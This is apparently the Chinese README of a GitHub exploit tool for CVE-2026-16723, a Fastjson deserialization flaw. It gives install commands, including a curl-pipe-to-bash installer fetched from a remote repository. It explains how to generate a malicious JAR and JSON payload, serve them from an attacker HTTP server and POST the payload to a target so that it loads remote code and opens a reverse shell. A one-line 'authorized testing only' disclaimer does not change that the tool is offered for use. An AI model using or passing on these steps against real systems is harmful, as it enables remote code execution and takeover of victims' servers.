CVE-2026-16723 漏洞利用

针对 CVE-2026-16723 的独立 C++17 实现，该漏洞是影响 Fastjson 1.2.68 – 1.2.83 版本的一个严重漏洞。

环境要求

• Linux（或 Windows 上的 WSL）

• 兼容 C++17 的编译器（GCC 7+ 或 Clang 5+）

• CMake 3.10 或更高版本

• 系统软件包：

  • libzip-dev
  • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

---

安装

快速安装（推荐）

使用单条命令安装所有内容：

curl -sSL https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh | bash

或手动下载并执行安装脚本：

wget https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

安装脚本将执行以下操作：

• 安装所有必需的系统软件包。

• 下载所需的仅头文件库：

  • nlohmann/json
  • cpp-httplib

• 构建项目。

• 将编译后的二进制文件放置到当前目录，名称为：

./exploit

---

手动构建

如果你已克隆仓库：

git clone https://github.com/1xPwn/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

或手动构建：

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

---

使用方法

运行二进制文件：

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

示例

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

执行后将创建以下文件：

x
body.json

HTTP 服务器将在配置的端口（默认：8000）上启动，工具将等待传入的反向 shell 连接。

---

发送载荷

将生成的 body.json 文件发送到存在漏洞的端点：

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

如果应用程序期望使用不同的 JSON 字段，请使用 --field 选项指定。

---

命令行选项

选项	描述	默认值
--lhost	本地 IP 地址	必需
--lport	反向 shell 监听端口	4444
--http-port	HTTP 服务器端口	8000
--first	尝试的第一个文件描述符	3
--last	尝试的最后一个文件描述符	30
--field	JSON 字段名称	facets
--outdir	输出目录	.
-h, --help	显示帮助信息	—

---

输出文件

文件	描述
x	生成的 JAR 载荷
body.json	发送到目标的 JSON 载荷

---

注意事项

• 本项目仅用于授权的安全测试和教育目的。
• 该实现通过 jar:http 和 jar:file 协议强制目标应用程序下载并加载远程 JAR。
• 反向 shell 命令经过 Base64 编码，以减少转义问题。

在 Twitter(X) 上关注我

• MNM